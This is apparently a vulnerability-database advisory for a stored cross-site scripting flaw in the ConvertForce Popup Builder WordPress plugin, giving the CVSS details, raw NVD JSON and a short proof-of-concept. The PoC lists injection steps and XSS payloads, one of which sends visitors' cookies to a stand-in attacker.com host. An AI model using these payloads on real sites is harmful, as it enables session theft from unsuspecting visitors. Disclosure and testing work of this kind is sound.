Security Vulnerability Report
中文
CVE-2025-14506 CVSS 6.4 MEDIUM

CVE-2025-14506

Published: 2026-01-10 12:15:49
Last Modified: 2026-04-15 00:35:42

Description

The ConvertForce Popup Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Gutenberg block's `entrance_animation` attribute in all versions up to, and including, 0.0.7. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

ConvertForce Popup Builder <= 0.0.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* CVE-2025-14506 PoC - ConvertForce Popup Builder Stored XSS */ /* Target: WordPress with ConvertForce Popup Builder plugin <= 0.0.7 */ // Step 1: Authenticate with WordPress (requires Author+ role) // Login to wp-admin with Author or higher privilege account // Step 2: Create/Edit a page or post using Gutenberg editor // Step 3: Add ConvertForce Popup Builder block // Step 4: In block settings, find 'entrance_animation' field // Step 5: Inject XSS payload in the animation field: var xssPayload = '<img src=x onerror=console.log(document.cookie)>'; // Alternative payloads: // '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' // '<iframe src="javascript:alert(document.domain)">' // 'x" onmouseover="alert(1)" x="' // Step 6: Save/Publish the post // Step 7: Any user visiting the page will trigger the XSS // The malicious script executes in their browser context /* Technical Reference: */ /* Vulnerable file: inc/Blocks/Conversion.php */ /* Lines 47 and 66 lack proper sanitization */ /* Fix: Apply sanitize_text_field() and esc_html() to user inputs */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14506", "sourceIdentifier": "[email protected]", "published": "2026-01-10T12:15:48.563", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ConvertForce Popup Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Gutenberg block's `entrance_animation` attribute in all versions up to, and including, 0.0.7. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin ConvertForce Popup Builder para WordPress es vulnerable a cross-site scripting almacenado a través del atributo 'entrance_animation' del bloque de Gutenberg en todas las versiones hasta la 0.0.7, inclusive. Esto se debe a una sanitización de entrada y un escape de salida insuficientes. Esto hace posible que atacantes autenticados, con acceso de nivel de Autor y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/convertforce-popup-builder/trunk/inc/Blocks/Conversion.php#L47", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/convertforce-popup-builder/trunk/inc/Blocks/Conversion.php#L66", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3419678/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c57b9a78-53f4-40bb-ae6a-c5242b41329f?source=cve", "source": "[email protected]"}]}}